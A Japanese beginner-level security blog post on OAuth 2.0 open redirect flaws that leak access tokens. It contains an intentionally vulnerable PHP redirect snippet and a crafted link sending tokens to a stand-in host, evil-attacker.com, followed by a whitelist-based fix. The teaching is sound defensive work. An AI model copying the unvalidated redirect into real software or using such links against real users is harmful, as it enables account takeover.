【入門編】 OAuth 2.0のOpen Redirect脆弱性によるトークン漏洩 – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

こんにちは!セキュリティの世界へようこそ。
ペネトレーションテスト(攻撃者の視点でシステムの弱点を探るテスト)の現場では、日々さまざまなシステムの「鍵の掛け忘れ」を探求しています。

今回は、Webアプリのログインなどでよく見かける「OAuth 2.0(オーオーエス)」という便利な仕組みに潜む、ちょっと怖い「Open Redirect(オープンリダイレクト)脆弱性」についてお話しします。

「難しそうだな…」と思うかもしれませんが、大丈夫です!身近な「合カギ」と「郵便受け」の例えを使って、一歩ずつ優しく紐解いていきましょう。

—

1. 家の鍵の仕組みで例える「OAuth 2.0」と「リダイレクト」

まずは、OAuth 2.0ってどんな仕組みなのか、身近な例で考えてみましょう。

皆さんは、友人の家(おもちゃのレンタルサービスや写真共有サイトなど)に遊びに行くとき、こんな経験はありませんか?
「毎回その家専用の合カギを作るのは面倒だから、普段使っている『Googleの通行証(アカウント)』を見せて、身分証明の代わりにさせてもらおう!」

これがOAuth 2.0の考え方です。
この仕組みの中には、いくつかの登場人物がいます。

1. あなた(ユーザー): サービスを使いたい人。
2. お家(クライアントアプリ): ログイン画面で「Googleでログイン」を提供している外部サービス。
3. 管理会社(認可サーバー): GoogleやLINEなど、あなたの身分を保証してくれるところ。

さて、あなたが「Googleでログイン」ボタンを押すと、一度Google(管理会社)のページに飛ばされ、「このアプリにあなたの名前を教えてもいいですか?」と聞かれますよね。そこで「許可」を押すと、Googleはあなたにお手紙(アクセスキー=トークン)を持たせ、元のアプリへ送り返します。

この「処理が終わった後に、あなたを元の場所へお家(アプリ)に送り届ける交通手段」のことを、セキュリティ用語でリダイレクト(転送)と呼びます。

—

2. 攻撃者が狙う「宛先詐欺」のメカニズム

ここで問題になるのが、送り届けるときの「宛先」の確認です。

もし、管理会社(Google)が、送り先(リダイレクトURI)の確認をロクにせず、アプリ側から言われた「あそこの怪しい路地裏の家へ送って!」という指示をそのまま信じてしまったらどうなるでしょうか?

これが、Open Redirect脆弱性の正体です。

攻撃者は、次のような罠を仕掛けます。

1. 攻撃者は、一見無害な「おもちゃのレンタルサービス(脆弱なアプリ)」に、ログイン用のリンクを用意します。
2. そのリンクの中身には、送り先(リダイレクト先)を「攻撃者のサーバー」にするように細工したURLを混ぜ込んでおきます。
3. 被害者がそのリンクをクリックし、Googleでログインを済ませると、Googleは親切心から、あなたの手元にある大切な「お手紙(アクセストークン)」を、攻撃者のサーバーへと送り届けてしまうのです。

結果として、攻撃者はあなたの代わりにそのサービスへログインできるようになり、アカウントが乗っ取られてしまいます。郵便受けに届いた重要書類を、そのまま詐欺師に転送されてしまったような状態ですね。

—

3. 実践!脆弱性が生まれるコードとリクエストの裏側

では、実際の開発現場で、なぜこの罠にかかってしまうのかを見てみましょう。
例えば、アプリ側でリダイレクト先のURLを受け取るPHPのコードを考えてみます。

❌ 危険なコード例(脆弱性あり)

以下のコードは、URLのパラメータから受け取ったURLのチェックを一切せず、そのまま header() 関数でユーザーを飛ばしてしまっています。

<?
// URLパラメータから「次に進むべきページ(redirect_uri)」を受け取る
$redirect_url = $_GET['redirect_uri'];

// 【危険】バリデーション(本当に安全なURLかどうかの確認)を全くしていない!
// 攻撃者が 「https://evil-attacker.com(悪意あるサイト)」を指定してもそのまま飛んでしまう
if (isset($redirect_url)) {
    header("Location: " . $redirect_url);
    exit;
}
?>

このようなコードがあると、攻撃者は次のような罠URLを作り、SNSやメールで踏ませようとします。

https://vulnerable-app.example.com/oauth/authorize?client_id=123&redirect_uri=https://evil-attacker.com/steal_token

被害者がこのURLをクリックし、ログインを許可すると、ブラウザのアドレスバーやフラグメント(#以降のパラメータ)に含まれるアクセストークンが、攻撃者のサーバーにポロリとこぼれ落ちてしまうのです。

—

4. 一歩ずつ学ぶ!確実な防御アプローチ

「じゃあ、どうやってこの泥棒を防げばいいの?」という話ですね。
対策はシンプルかつ強力です。一歩ずつ実装していきましょう。

対策1: リダイレクト先を「ホワイトリスト」で厳密に管理する

一番確実な方法は、あらかじめ安全だと分かっている「許可された宛先リスト(ホワイトリスト)」をシステム側に持たせておくことです。ユーザーや攻撃者が勝手に宛先を書き換えることは絶対に許してはいけません。

⭕ 安全なコード例(ホワイトリストによる完全一致検証)

<?
// システム側で許可された正当なリダイレクト先のリスト
$allowed_redirects = [
    "https://app.example.com/welcome",
    "https://app.example.com/dashboard"
];

$redirect_url = $_GET['redirect_uri'] ?? '';

// 入力されたURLが、許可リストの中に「完全に一致するもの」が含まれているかチェックする
if (in_array($redirect_url, $allowed_redirects, true)) {
    // リストに含まれている安全な場合のみリダイレクトを実行
    header("Location: " . $redirect_url);
    exit;
} else {
    // リストにない場合はエラーにする、またはデフォルトの安全なページへ飛ばす
    header("Location: https://app.example.com/error");
    exit;
}
?>

このように、「前方一致」や「部分一致」ではなく、「完全一致(厳密な比較)」を使うのが、セキュリティを高めるコツです。もし「app.example.comが含まれていればOK」なんて緩い条件にしてしまうと、攻撃者が https://app.example.com.evil-attacker.com のようなドメインを用意して簡単にすり抜けてしまいますからね。

—

5. まとめとエンジニアの心得

今回は、OAuth 2.0のOpen Redirect脆弱性について、仕組みから具体的なコード対策までお話ししました。

  • 攻撃の仕組み: リダイレクト先(宛先)のチェックが甘いと、ログイン後の大切なトークンが攻撃者のサーバーに横取りされてしまう。
  • 防御の基本: ユーザーからの入力をそのまま信用せず、あらかじめ決められた「安全なリスト(ホワイトリスト)」と完全一致するか必ず確認する。

セキュリティは、難解な呪文を覚えることではなく、「ここをすり抜けられたら、相手(泥棒)はどう動くだろう?」と一歩引いて想像することから始まります。

日々の開発の中で「このパラメータ、ユーザーに勝手に書き換えられたらマズいことにならないか?」と立ち止まる習慣をつけていきましょう。その小さな気付きが、あなたとユーザーの大切なシステムを守る最強の盾になります。

それでは、また次回のセキュリティ解説でお会いしましょう!安全な開発ライフを!

コメント

タイトルとURLをコピーしました